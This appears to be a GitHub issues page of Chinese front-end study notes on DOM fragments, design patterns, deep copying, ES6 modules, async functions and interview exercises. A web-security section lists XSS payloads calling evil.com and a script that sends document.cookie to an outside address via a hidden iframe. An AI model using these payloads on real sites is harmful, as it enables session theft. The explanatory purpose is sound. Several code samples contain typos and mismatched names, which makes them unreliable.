Git Product home page Git Product logo

johnsoncheg.github.io's People

Contributors

johnsoncheg avatar

Stargazers

 avatar

Watchers

 avatar

johnsoncheg.github.io's Issues

关于document.createDocumentFragment

方法 说明
createAttribute(name) 用指定名称name创建特性节点
createComment(text) 创建带文本texty的注释节点
createDocumentFragment() 创建文档碎片节点
createElement(tagname) 创建标签名为tagname的节点
createTextNode(text) 创建包含文本text的文本节点

以上这些方法,每次Javascript对DOM的操作都会改变当前页面的呈现,并重新刷新整个页面,从而消耗了大量的时间。为解决这个问题,可以创建一个文档碎片,把所有新节点附加其上,然后把文档碎片的内容一次性添加到document中,这个就是createDocumentFragment()的用武之处。

DocumentcFragment: 表示文档的一部分更确切地说,它表示一个或多个邻接的 Document 节点和它们的所有子孙节点。

DocumentFragment节点不属于文档树,继承parentNode属性总是null

DocumentFragment有一种特殊的行为,当请求把一个DocumentFragment节点插入文档树时,插入的不是DocumentFrament本身,而是它的所有子孙节点。这使得DocumentFragment成了有用的占位符,暂时存放那些一次插入的文档节点。有利于实现文档的剪切和赋值黏贴操作。

说明:添加多个dom元素时,先将元素append到DocumentFragment中,最后统一将DocumentFragment添加到页面。该做法可以减少页面渲染dom元素的次数。

createDocumentFragment()用法示例

var frag = document.createDocumentFragment();
for(var i = 0; i < 1000; i++) {
  var el = document.createElement('p');
  el.innerHTML = i;
  frag.appendChild(el);
}

document.body.appendChild(frag);

关于createElement和createDocumentFragment之间的区别:

  1. createElement创建的元素可以使用 innerHTML,createDocumentFragment创建的元素使用innerHTML无法达到预期的修改文档内容的效果,只是作为一个属性而已。两者的节点类型完全不同,并且createDocumentFragment创建的元素在文档中没有对应的标记,因此在页面上只能用js中访问到。
  2. createElement创建的元素可以重复操作,添加后可以从文档中移除,createDocumentFragment创建的元素是一次性的,添加之后不能操作了。(说明:这里的添加并不是添加了新创建的片段,因为上面说过,新创建的片段在文档内是没有对应的标签的,这里添加的是片段的所有子节点

策略模式

/* 策略对象 */
const strategies = {
    isNotEmpty(value, errorMsg) {
        return value=== '' ? errorMsg : void 0
    },

    minLength(value, length, errorMsg) {
        return value.length < length ? errorMsg: void 0
    },

    isMobile(value, errorMsg) {
        return !/^1(3|5|7|8|9)[0-9]{9}$/.test(value) ?
            errorMsg : void 0
    },

    isEmail(value, errorMsg) {
        return !/^\w+([+-.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/.test(value) ?
            errorMsg : void 0
    }
}


validator.add(registerForm.userName, [{
    strategy: 'isNonEmpty',
    errorMsg: '用户名不能为空'
}, {
    strategy: 'minLength:6',
    errorMsg: '用户名长度不能小于6位'
}]);

class Validator {
    constructor() {
        this.cache = [] //保存校验规则
    }

    add(dom, rules) {
        for(let rule of rules) {
            let strategyAry = rule.strategy.split(':');
            let errorMsg = rule.errorMsg
            this.cache.push(() => {
                let strategy = strategyAry.shift() //用户挑选的strategy
                strategyAry.unshift(dom.value) //把Input的value添加进参数列表
                strategyAry.push(errorMsg) //把errorMssg添加进参数列表, [dom.value, 6, errorMsg]
                return strategies[strategy].apply(dom, strategyAry)
            })
        }
    }

    start() {
        for (let validatorFunc of this.cache) {
            let errorMsg = validatorFunc() //开始校验并取得校验后的返回信息
            if(errorMsg) {
                return errorMsg
            }
        }
    }
}



let registerForm = document.querySelector('#registerForm')

const validatorFunc = () => {
    let validator = new Validator()

    validator.add(registerForm.userName, [{
        strategy: 'isNonEmpty',
        errorMsg: '用户名不能为空!'
    }, {
        strategy: 'minLength:6',
        errorMsg: '用户名长度不能小于6位!'
    }])

    validator.add(registerForm.passWord, [{
        strategy: 'isNonEmpty',
        errorMsg: '密码不能为空!'
    }, {
        strategy: 'minLength:',
        errorMsg: '密码长度不能小于6位!'
    }])

    validator.add(registerForm.phoneNumber, [{
        strategy: 'isNonEmpty',
        errorMsg: '手机号码不能为空!'
    }, {
        strategy: 'isMoblie',
        errorMsg: '手机号码格式不正确!'
    }])

    validator.add(registerForm.emailAddress, [{
        strategy: 'isNonEmpty',
        errorMsg: '邮箱地址不能为空!'
    }, {
        strategy: 'isEmail',
        errorMsg: '邮箱地址格式不正确!'
    }])
    let errorMsg = validator.start()
    return errorMsg
}

registerForm.addEventListener('submit', function() {
    let errorMsg = validatorFunc()

    if(errorMsg) {
        alert(errorMsg)
        return false
    }
}, false)

探索两种优雅的表单验证——策略设计模式和ES6的Proxy代理模式

vue脚手架改造(升级为babel7)

package.json变更:

{
  "dependencies": {
    "@babel/runtime": "^7.2.0"
  },
  
  "devDependencies": {
    "@babel/cli": "^7.2.3",
    "@babel/core": "^7.2.2",
    "@babel/plugin-syntax-dynamic-import": "^7.2.0",
    "@babel/plugin-transform-runtime": "^7.2.0",
    "@babel/preset-env": "^7.2.3",
     "babel-loader": "^8.0.4",
  }
}

.babelrc:

{
  "presets": [
    ["env", {
      "modules": false,
      "targets": {
        "browsers": ["> 1%", "last 2 versions", "not ie <= 8"]
      }
    }],
    "stage-2"
  ],
  "plugins": [
    "transform-vue-jsx",
    "transform-runtime"
  ]
}


js浅复制和深复制

浅复制和深复制都可以实现已有对象的基础上再生一份的作用,但是对象的实例是存储在堆内存中然后通过一个引用值去操作对象,由此复制的时候就存在两种情况了:复制引用和复制实例,这也是浅复制和深复制的区别所在。

  • 浅复制:浅复制是复制引用,复制后的引用都是指向同一个对象实例,彼此之间的操作会互相影响。
  • 深复制:深复制不是简单的复制引用,而是在队中重新分配内存,并且把源对象实例的所有属性进行新建复制,以保证深复制的对象的引用不包含任何原有对象或对象上的任何对象,复制后的对象与原来的对象是完全隔离的。

利用JSON对象的parase和stringify

JSON对象的parse方法可以将JSON字符串反序列化成js对象,stringify方法可以将js对象序列化JSON字符串,借助这两个方法可以实现对象的深复制。

    var source = {
        name:"source",
        child:{
            name:"child"
        }
    }
    var target = JSON.parse(JSON.stringify(source));
    //改变target的name属性
    target.name = "target";
    console.log(source.name);   //source
    console.log(target.name);   //target
    //改变target的child
    target.child.name = "target child";
    console.log(source.child.name);  //child
    console.log(target.child.name);  //target child

注意:对于正则表达式类型、函数类型、Date等无法进行深复制(而且会直接丢失相应的值),同时如果对象中存在循环引用的情况也无法正确处理。

实现简单深复制

var cloneObj = function(obj) {
    var str,
        newObj = obj.constructor === Array ? [] : {};

    if(typeof obj !== 'object') {
        return;
    } else if(window.JSON) {
        str = JSON.stringify(obj);
        newObj = JSON.parse(str);
    } else {
        for(var i in obj) {
            if(obj.hasOwnProperty(i)) {
                newObj[i] = typeof obj[i] === 'object' ? cloneObj(obj[i]) : obj[i]
            }
        }
    }

    return newObj;
}

var obj = {
    arr: [1, 2, 3],
    b: {
        c: 1,
        d: 2
    }
}


var newobj = cloneObj(obj);

console.log(newobj); 

注意:这个函数可以深复制 对象和数组

jQuery extend源码

jQuery.extend = jQuery.fn.extend = function() {
	var src, copyIsArray, copy, name, options, clone,
		target = arguments[0] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
		target = {};
	}

	// extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {
		// Only deal with non-null/undefined values
		if ( (options = arguments[ i ]) != null ) {
			// Extend the base object
			for ( name in options ) {
				src = target[ name ];
				copy = options[ name ];

				// Prevent never-ending loop
				if ( target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
					if ( copyIsArray ) {
						copyIsArray = false;
						clone = src && jQuery.isArray(src) ? src : [];

					} else {
						clone = src && jQuery.isPlainObject(src) ? src : {};
					}

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

注意:extend只能复制可对象可枚举的属性

什么是对象序列化

对象序列化是指将对象的状态转换为字符串(来自我这菜鸟的理解,好像有些书上也是这么说的,浅显易懂!);

序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程(来自“百度百科—序列化“,学术性强,略显高端);

序列化规则

  1. 对于Javascript的五种原始类型,JSON语法支持数字、字符串、布尔值、null四种,不支持undefined
  2. NaN、Infinity和-Infinity序列化的结果是null
  3. JSON语法不支持函数
  4. 除了RegExp、Error对象,JSON语法支持其他所有对象。
  5. 日期对象序列化的结果是ISO格式的字符串,但JSON.parse()依然保留它们字符串形态,并不会将它们还原为日期对象;
  6. JSON.stringify()只能序列化对象的可枚举自有属性。

常见的js业务场景分析以及解决思路。

  1. 选择器滥用
  2. 事件绑定滥用
  3. 生命周期混乱,没概念
  4. 复用性和沙盒安全
  5. 模板渲染技巧

解耦你的业务js代码,如何在业务中使用设计模式

  1. 模块化和继承到底怎么用
  2. 拆分维度问题和作用域传递
  3. 找到utils,拒绝ctrl+c/v(复制黏贴)

常见的一些业务优化方法总结。

  1. 判断太多怎么办。
  2. dom操作到底怎么做才是最好的,找到最优解。
  3. 样式该怎么加。

增加你的项目可维护性和代码可读性。

  1. 注释真的好吗?
  2. 格式化的问题。
  3. 单词难拼,句子好读,代码50行好读,300行难读。
  4. 写代码要说人话。

常见的攻击方式

一般来说,在web安全领域,常见的攻击方式大概有以下几种:

  1. SQL注入攻击
  2. 跨站脚本攻击-XSS
  3. 跨站伪造请求攻击-CSRF
  4. 文件上传漏洞攻击
  5. 分布式拒绝服务攻击-DDOS

CROSS-site Sripting(XSS)Attack

XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

跨站脚本(XSS)是指客户端代码注入攻击,其中攻击者可以将恶意脚本(通常也称为恶意有效载荷)执行到合法的网站或Web应用程序中。XSS是Web应用程序漏洞中最猖獗的一种,当Web应用程序在其生成的输出中使用未验证或未编码的用户输入时,就会发生这种漏洞。

通过利用XSS,攻击者不直接针对受害者。相反,攻击者会利用受害者访问的网站或网络应用程序中的漏洞,从而将脆弱网站作为将恶意脚本传递给受害者的浏览器的工具。

How Cross-site Scripting works

为了在受害者的浏览器中运行恶意的JavaScript代码,攻击者必须首先找到一种方法,将有效负载注入受害者访问的网页。当然,攻击者可以使用社会工程技术来说服用户使用注入的JavaScript有效载荷访问易受攻击的页面。

XSS攻击需要三个角色 - 网站,受害者和攻击者。在下面的例子中,应该假设攻击者的目标是通过窃取受害者的cookie来冒充受害者。将cookie发送到服务器可以通过各种方式实现攻击者控制,其中之一是攻击者可以通过XSS漏洞在受害者的浏览器中执行以下JavaScript代码

常见的攻击方式

<script>标签

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

<body>标签

<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert("XSS")">

<img>标签

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<iframe>标签 钓鱼攻击

<!-- <iframe> tag XSS -->
<iframe src=”http://evil.com/xss.html”>

<input>标签

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

<link>标签

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

我们知道http请求是无状态的,也就是说每次http请求都是独立的无关之前的操作的,但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端,所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。
当然session的保存方法多种多样,可以保存在文件中,也可以内存里,考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中,比如redis或者mongodb。

那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,如下:

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

es6 module的语法

es6的模块的设计**,是尽量的 静态化,使得编译时就能确定模块的依赖关系,以及输入和输出的变量。CommonJS和AMD模块,都只能在运行时确定这些东西,比如CommonJS模块就是对象,输入时必须查找对象属性。

// CommonJS模块
let { stat, exists, readFile } = require('fs');

// 等同于
let _fs = require('fs');
let stat = _fs.stat;
let exists = _fs.exists;
let readfile = _fs.readfile;

上面代码的实质是正题加载fs模块(即加载fs的所有方法),生成一个对象(_fs),然后再从这个对象上面读取3个方法。这种加载称为“运行时加载”,因为只有运行时才能得到这个对象,导致完全没办法在编译时“静态优化”。

ES6模块不是对象,而是通过export命令显示指定输出的代码,再通过import命令输入。

// es6模块
import { stat, exists, readFile } from 'fs';

上面代码的实质是从fs模块加载3个方法,其他方法不加载。这种加载称为"编译时加载"或者 静态加载,即ES6可以在编译时就完成模块加载,效率比CommonJS模块的加载方法高。当然,这也导致了没法引用ES6模块本身,因为它不是对象。

注意:es6模块中,顶层的this指向undefined,即不应该在顶层代码使用this

export

export语句输出的接口,与其对应的值是动态绑定关系,即通过该接口,可以取到模块内部实时的值。

export var foo = 'bar';
setTimeout(() => foo = 'baz', 500);

上面代码输出变量foo,值为bar,500ms之后变为baz。

这一点与CommonJS规范完全不同。CommonJS模块输出的是值的缓存,不存在动态更新。

export命令可以出现在模块的任何位置,只要处于模块顶层就可以。如果处于块级作用域内,就会报错,同import。因为是静态编译。

function foo() {
  export default 'bar' // SyntaxError
}
foo()

注意,import命令具有提升效果,会提升到整个模块的头部,首先执行。

foo();
import { foo } from 'my_module';

上面的代码不会报错,因为import的执行早于foo的调用。这种行为的本质是,import命令是编译阶段执行的,在代码执行之前。

由于import是静态运行,所以不能使用表达式和变量,这些只有在运行才能得到结果的语法结构。

// 报错
import { 'f' + 'oo' } from 'my_module';

// 报错
let module = 'my_module';
import { foo } from module;

// 报错
if (x === 1) {
  import { foo } from 'module1';
} else {
  import { foo } from 'module2';
}

上面三种写法都会报错,因为它们用到了表达式、变量和if结构。在静态分析阶段,这些语法都是没法得到值的。

最后,import语句会执行所加载的模块,因此可以有下面的写法。

目前阶段,通过 Babel 转码,CommonJS 模块的require命令和 ES6 模块的import命令,可以写在同一个模块里面,但是最好不要这样做。因为import在静态解析阶段执行,所以它是一个模块之中最早执行的。下面的代码可能不会得到预期结果。

require('core-js/modules/es6.symbol');
require('core-js/modules/es6.promise');
import React from 'React';

正是因为export default命令其实只是输出一个叫做default的变量,所以它后面不能跟变量声明语句。

// 正确
export var a = 1;

// 正确
var a = 1;
export default a;

// 错误
export default var a = 1;

上面代码中,export default a的含义是将变量a的值赋给变量default。所以,最后一种写法会报错。

同样地,因为export default本质是将该命令后面的值,赋给default变量以后再默认,所以直接将一个值写在export default之后。

// 正确
export default 42;

// 报错
export 42;

上面代码中,后一句报错是因为没有指定对外的接口,而前一句指定外对接口为default

创建者模式

//创建一个汽车
var Car  = function(param){
    this.color = param && param.color || 'yellow';
    this.brand = param && param.brand || 'Tesla';
    this.power = param && param.power || 'electric';
}
//提供原型方法
Car.prototype = {
    getColor : function () {
        return this.color;
    },
    getBrand : function () {
        return this.brand;
    },
    getPower : function () {
        return this.power;
    }
}

//创建一个反馈
var FeedBack = function(brand){
    var that = this;
    (function(brand,that){
        switch (brand){
            case 'Tesla':
                // that.brand = brand;
                that.information = '特斯拉是好车'
                break
            case 'Rolls' :
                that.information = '劳斯来时是好车'
        }
    })(brand,that)
}

FeedBack.prototype.changeBrand = function (information) {
    this.information = information;
}


//创建一个顾客
var Client = function(name,message){
    this.name = name;
    this.message = message || '无留言';
}
//顾客修改备注
Client.prototype.changeMessage = function(message){
    this.message = message;
}
//然后重点在这里!我们在这里将我们分解的拼接起来。
var Order = function(name){
    var object = new Car();
    object.client  = new Client(name);
    object.feedBack = new FeedBack(object.brand);
    return object;
}


var orderCar = new Order('Vendar-MH');
console.log('The' + orderCar.client.name + '先生、下单一辆' + orderCar.color + '的' + orderCar.brand +' 留言内容 : ' +orderCar.client.message );
orderCar.client.changeMessage('请马上电话联系我')
console.log('The' + orderCar.client.name + '先生、下单一辆' + orderCar.color + '的' + orderCar.brand +' 留言内容 : ' +orderCar.client.message );

----------执行结果--------

TheVendar-MH先生、下单一辆yellow的Tesla 留言内容 : 无留言
TheVendar-MH先生、下单一辆yellow的Tesla 留言内容 : 请马上电话联系我

JavaScript 设计模式 ② 巧用'工厂模式'和'创建者'模式

关于原型和对象

众所周知,一个函数被创建时,会自动分配一个属性叫原型(prototype),而原型中有一个属性叫做构造器(constructor)。constructor指向这个函数本身。

prototype和__ proto __的区别

  • prototype是函数才有的属性
  • __ proto __是每个对象都有的属性
  • __ proto __ 不是一个规范的属性,只是部分浏览器实现了此属性,对应的标准属性是[[Prototype]]

注:大多数情况下,__ proto __可以理解为 “构造器的原型”,即:

__ proto __ === constructor.prototype

1.所有构造器的constructor都指向Function(构造器有Function Array Object)

2.Function的prototype指向一个特殊匿名函数,而这个特殊匿名函数的__ proto __指向Object.prototype

//函数
var a = function() {};
cosnole.log(a.__proto__); //function() {}
cosnole.log(a.constructor) //function Function() {...} 这里的Function就是构造器
console.log(a.constructor.prototype) //function() {}
// a.__proto__ = a.constructor.prototype


//数组
var b = [];
console.log(b.__proto__); //[Symbol(Symbol.unscopables): Object]
console.log(b.__proto__.__proto__); //Object{} 这才是顶层
console.log(b.constructor); //function Array() {...} 这里的Array就是构造器
console.log(b.constructor.prototype)//[Symbol(Symbol.unscopables): Object]
console.log(b.constructor.prototype.__proto__) //Object {}这才是顶层
//b.__proto__ = b.constructor.prototype

//对象
var c = {};
console.log(c.__proto__); //Object{}
console.log(c.constructor);//function Object() {...} 这里的Object就是构造器
console.log(c.constructor.prototype) //Object{}
//c.__proto__ = c.constructor.prototype

//造物主是__proto__
Array.constructor.prototype  = Array.__proto__//function () {}
Object.constructor.prototype === Object.__proto__//function () {}
Function.constructor.prototype === Function.__proto__//function () {}

//万物之源皆是Object
Function.constructor.prototype.__proto__ === Function.__proto__.__proto__ //Object {}
Object.constructor.prototype.__proto__ === Object.__proto__.__proto__ //Object {}
Array.constructor.prototype.__proto__ === Array.__proto__.__proto__//Object {}

发布/订阅模式

版本一:

var pubsub = {};

(function(myObject) {

    // Storage for topics that can be broadcast
    // or listened to
    var topics = {};

    // An topic identifier
    var subUid = -1;

    // Publish or broadcast events of interest
    // with a specific topic name and arguments
    // such as the data to pass along
    myObject.publish = function( topic, args ) {

        if ( !topics[topic] ) {
            return false;
        }

        var subscribers = topics[topic],
            len = subscribers ? subscribers.length : 0;

        while (len--) {
            subscribers[len].func(args);
        }

        return this;
    };

    // Subscribe to events of interest
    // with a specific topic name and a
    // callback function, to be executed
    // when the topic/event is observed
    myObject.subscribe = function( topic, func ) {

        if (!topics[topic]) {
            topics[topic] = [];
        }

        var token = ( ++subUid ).toString();
        topics[topic].push({
            token: token,
            func: func
        });
        return token;
    };

    // Unsubscribe from a specific
    // topic, based on a tokenized reference
    // to the subscription
    myObject.unsubscribe = function( token ) {
        for ( var m in topics ) {
            if ( topics[m] ) {
                for ( var i = 0, j = topics[m].length; i < j; i++ ) {
                    if ( topics[m][i].token === token ) {
                        topics[m].splice( i, 1 );
                        return token;
                    }
                }
            }
        }
        return this;
    };
}( pubsub ));


//来,订阅一个
pubsub.subscribe('example1', function (data) {
    console.log(data.toString());
});

//发布通知
pubsub.publish('example1', 'hello world!');
pubsub.publish('example1', ['test', 'a', 'b', 'c']);
pubsub.publish('example1', [{ 'color': 'blue' }, { 'text': 'hello'}]);

版本二:

var publisher = {

    subscribers : {
        any : []    // 事件类型: 订阅者
    },

    // 将订阅者提供的调用方法添加到subscribers 订阅的事件数组中
    subscribe : function(fn, type) {
        type = type || 'any';
        if (typeof this.subscribers[type] === 'undefined') {
            this.subscribers[type] = [];
        }
        this.subscribers[type].push(fn);
    },

    // 删除订阅者
    unsubscribe : function(fn, type) {
        this.visitSubscribers('unsubscribe', fn, type);
    },

    // 循环遍历subscribers中每个元素,并调用他们所提供的方法
    publish : function(publication, type) {
        this.visitSubscribers('publish', publication, type);
    },

    // helper
    visitSubscribers: function (action, arg, type) {
        var pubtype = type || 'any',
            subscribers = this.subscribers[pubtype],
            i,
            max = subscribers.length;
        for (i = 0; i < max; i++) {
            if (action === 'publish') {
                // 调用订阅者订阅该事件所提供的方法
                subscribers[i](arg);
            } else {
                // 找到当前订阅事件中提供的方法,并删除
                if (subscribers[i] === arg) {
                    subscribers.splice(i, 1);
                }
            }
        }
    }
};

publisher.subscribe(function(data) {
    console.log('第一个订阅 ' + data);
}, 'first');

publisher.subscribe(function() {
    publisher.publish('123', 'first');
}, 'second');

// console.log(publisher);


// publisher.publish('123', 'first');

publisher.publish(null, 'second');

版本三

var Event = (function(){
    var clientList = {}, // 缓存列表
        listen,
        trigger,
        remove;
    
    listen = function(key, id, fn){
        if(!clientList[key]){
            clientList[key] = [];    // 初始化
        }
        clientList[key].push({      // 将订阅的id, 回调函数添加到对应的消息列表里
            id: id,                         
            fn: fn                          
        });
    };
    
    trigger = function() {
        var key = Array.prototype.shift.call(arguments),
            fns = clientList[key];
        if(!fns || fns.length == 0) {
            return false;
        }
        for(var i = 0; i < fns.length; i++) {
            fns[i].fn.apply(this, arguments);
        }
    };
    
    remove = function(key, id) {
        var fns = clientList[key];
        
        if(!fns) {                // 如果key对应的消息没人订阅,直接返回
            return false;
        }
        
        if(!id) {           // 如果没传具体的唯一标识,则取消key的所有对应消息
            fns && (fns.length = 0);
        } else {
            for(var l = fns.length - 1; l >=0; l--) {
                var _id = fns[l].id;
                if(_id == id) {
                    fns.splice(l, 1);    // 删除订阅者的回调函数
                }
            }
        }
    };
    
    return {
        listen: listen,
        trigger: trigger,
        remove: remove
    }
})();

Event.listen('questA', 1, function(content) {
    console.log('内容为:' + content);
});

Event.trigger('questA', '王五回答了该问题');

通过时间戳生成uid

var date = new Date(),
    time = date.getTime();

var model = {
  inc: time,
  uid: function() {
    var new_id = 0;
    new_id += time;
    
    //自增
    this.inc++;
    new_id += this.inc;
    return new_id;
  }
}


for(var i = 0; i < 10; i++) {
  console.log(model.uid())
}

块级格式化上下文(BFC)

特性

  1. 内部的Box会在垂直方向,从顶部开始一个接一个地放置。
  2. Box垂直方向的距离由margin决定。属于同一个BFC的两个相邻Box的margin会发生叠加。
  3. 每个元素的margin box的左边,与包含border box的左边相接触(对于从左往右的格式化,否则相反)。即使浮动元素也是如此。
  4. BFC的区域不会与float box叠加。
  5. BFC就是页面上的一个隔离的独立容器,容器里面的子元素不会影响外面的元素,反之亦然。
  6. 计算BFC的高度,浮动元素也会参与计算。

如何触发BFC

  1. float除了none以外的值
  2. overflow除了visible以外的值(hidden, auto, scroll)
  3. display (table-cell, table-caption, inline-block, flex, inline-flex)
  4. position值为(absolute, fixed)
  5. fieldset元素

以上条件会触发BFC。

解决margin叠加问题可以在元素外套一个div 设置 overflow:hidden。

清浮动防止高度塌陷也是由于BFC的存在。

async函数

var fs = require('fs');

var readFile = function (fileName) {
  return new Promise(function (resolve, reject) {
    fs.readFile(fileName, function (error, data) {
      if (error) reject(error);
      resolve(data);
    })
  });
};

var gen = async function () {
  var f1 = await readFile('/etc/fstab');
  var f2 = await readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
}

async函数对Generator函数的改进,体现在以下四点。

  1. 内置执行器

    Generator函数的执行必须靠执行器,所以才有co模块,而async函数自带执行器。也就是说,async函数的执行,与普通函数一模一样,只要一行。

    var result = asyncReadFile();
  2. 更好的语义

    asyncawait,比起*yield,语义更清楚了。async表示函数里有异步操作,await表示紧跟在后面的表达式需要等待结果。

  3. 更广的适用性

co模块约定,yield命令后面只能是Thunk函数或Promise对象,而async的await命令后面,可以是Promise对象和原始类型的值(数值、字符串和布尔值,但这时等同于同步操作)。

  1. 返回值是Promise

    async函数的返回值是Promise对象,这比Generator函数的返回值是Iterator对象方便多了。你可以用then方法指定下一步的操作。

进一步说,async函数完全可以看作多个异步操作,包装成的一个Promise对象,而await命令就是内部then命令的语法糖。

基本用法

async函数返回一个Promise对象,可以使用then方法添加会带哦函数。当函数执行的时候,一旦遇到await就会返回,等到异步操作完成,再接着执行函数体内后面的语句。

下面是一个例子:

async function getStockPriceName (name) {
  var symbol = await getStockSymbol(name);
  var stock = await getStockPrice(symbol);
  return stockPrice;
}

getStockPriceByName('goog').then(result => console.log(result));

由于async函数返回的是Promise对象,可以作为await命令的参数。所以,上面的例子也可以写成下面的形式。

async function timeout (ms) {
  await new Promise(resolve => {
    setTimeout(resolve, ms);
  })
};

async function asyncPrint (value, ms) {
  await timeout(ms);
  console.log(value)
};
asyncPrint('hello world', 50);

返回Promise对象

async函数返回一个Promise对象。

async函数内部return语句返回的值,会成为then方法回调函数的参数。

async function f() {
  return 'hello world';
}
f().then(v => console.log(v));
// hello world

async函数内部抛出错误,会导致返回的 Promise 对象变为reject状态。抛出的错误对象会被catch方法回调函数接收到。

async function f() {
  throw new Error('出错了');
}

f().then(
  v => console.log(v),
  e => console.log(e)
)
// Error: 出错了

Promise对象的状态变化

async函数返回的Promise对象,必须等到内部所有await命令后面的Priomise对象执行完,才会发生状态改变,除非遇到return语句或者抛出错误。也就是说,只有async函数内部的异步操作执行完,才会执行then方法指定的回调函数。

await命令

正常情况下,await命令后面是一个Promise对象。如果不是,会被转成一个立即resolve的Promise对象。

async function f() {
  return await 123;
}

f().then(v => console.log(v))
// 123

上面代码中,await命令的参数是数值123,它被转成 Promise 对象,并立即resolve

有时,我们希望即使前一个异步操作失败,也不要中断后面的异步操作。这时可以将第一个await放在try...catch结构里面,这样不管这个异步操作是否成功,第二个await都会执行。

async function f() {
  try {
    await Promise.reject('出错了')
  } catch (e) {
    return await Promise.resolve('hello world');
  }
}

f().then(v => console.log(v));
// hello world

另一种方法是await后面的Promise对象再跟一个catch方法,处理前面可能出现的错误。

async function f() {
  await Promise.reject('出错了').catch(e => console.log(e));
  return await Promise.resolve('hello world');
}
f().then(v => console.log(v));
// 出错了
// hello world

错误处理

如果await后面的异步操作出错,那么等同于async函数返回的Promise对象被reject

async function f() {
  await new Promise(function (resolve, reject) {
    throw new Error('出错了')
  })
}

f().then(v => console.log(v)).catch(e => console.lg(e));
// Error: 出错了

异步操作并行

// 写法一
let [foo, bar]= await Promise.all([getFoo(), getBar()]);
//写法二
let fooPromise = getFoo();
let barPromise = getBar();
let foo = await fooPromise;
let bar = await barPromise;

上面两种写法,getFoogetBar都是同时触发,这样就会缩短程序的执行时间。

第三点,await命令只能用在async函数之中,如果用在普通函数,就会报错。

如果确实希望多个请求并发执行,可以使用Promise.all方法。当三个请求都会resolved时,下面两种写法效果相同。

async function dbFunc(db) {
  let docs = [{}, {}, {}];
  let promises = doc.map(doc => db.post(doc));
  
  let results = await Promise.all(promises);
  console.log(results);
}
// 或者使用下面的写法
async function dbFunc(db) {
  let docs = [{}, {}, {}];
  let promises = doc.map(doc => db.post(doc));
  let results = [];
  for (let promise of promises) {
    results.push(await promise);
  }
  console.log(results);
}

避免继发执行,使用for循环。

exercise

HTML&CSS(分别10分)

  1. 一个div,宽度是100px,此时设置padding是20px,添加一个什么css属性可以让div的实际宽度仍然保持在100px,而不是140px?
  2. 清除浮动的方式,提供尽可能多的方案。
  3. 如何让两个div分别以40%和60%的比例排在一行内,提供尽可能多的方案。
  4. 如何用css实现一个div的一秒内向右平滑移动100px的动画 .
  5. localStorage,sessionStorage,Cookie的区别和用途。

2.正则题
var string = "我的账户余额:2,235,467.20";
console.log(?);
// 请用js计算出我到底有多少钱(输出Number类型数字,代码尽量简洁,考虑通用情况)

3.作用域
function person() {
​ return this.name;
}
var someOne = {
​ name: 'Jenny',
​ age: 18
};
// 此处如何输出 'Jenny'

4.语法题 有一个合法的 JSON 对象(即不包含函数等值的对象),设计一个函数,取出该对象内所有 key 为 "id" 并且其值不为对象、数组的值,装入一个数组并返回。
function extractIds(data) {
​ // implement
}
样例数据:
var data = {
​ id: 1,
​ items: [
​ { id: 2 },
​ { item: 3, id: [
​ { id: 4 },
​ { id: 5 }
​ ]}
​ ]
};

extractIds(data); // should return [ 1, 2, 4, 5 ]

5.闭包 下面五段代码分别输出什么?并且什么时候输出什么?

for(var i = 0; i < 5; i++) { console.log(i);}for(var i = 0; i < 5; i++) { setTimeout(function() { console.log(i); }, 1000 * i);}for(var i = 0; i < 5; i++) { (function(i) { setTimeout(function() { console.log(i); }, i * 1000); })(i);}for(var i = 0; i < 5; i++) { (function() { setTimeout(function() { console.log(i); }, i * 1000); })(i);}for(var i = 0; i < 5; i++) { setTimeout((function(i) { console.log(i); })(i), i * 1000);}

1.创建一个二进制相加函数,根据传入的两个二进制数字符串返回一个相加的十进制的结果。
/*

  • @param {String} a number a
  • @param {String} b number b
  • return {Number} the result
    */
    function calculate(num1, num2){
    // implement here
    }
    结果样例:
    calculate("10", "10") // => 4
    calculate("10", "0") // => 2
    calculate("101", "10") // => 7

iframe

普通方法加载iframe

使用这种加载方法会在浏览器中有如下表现:

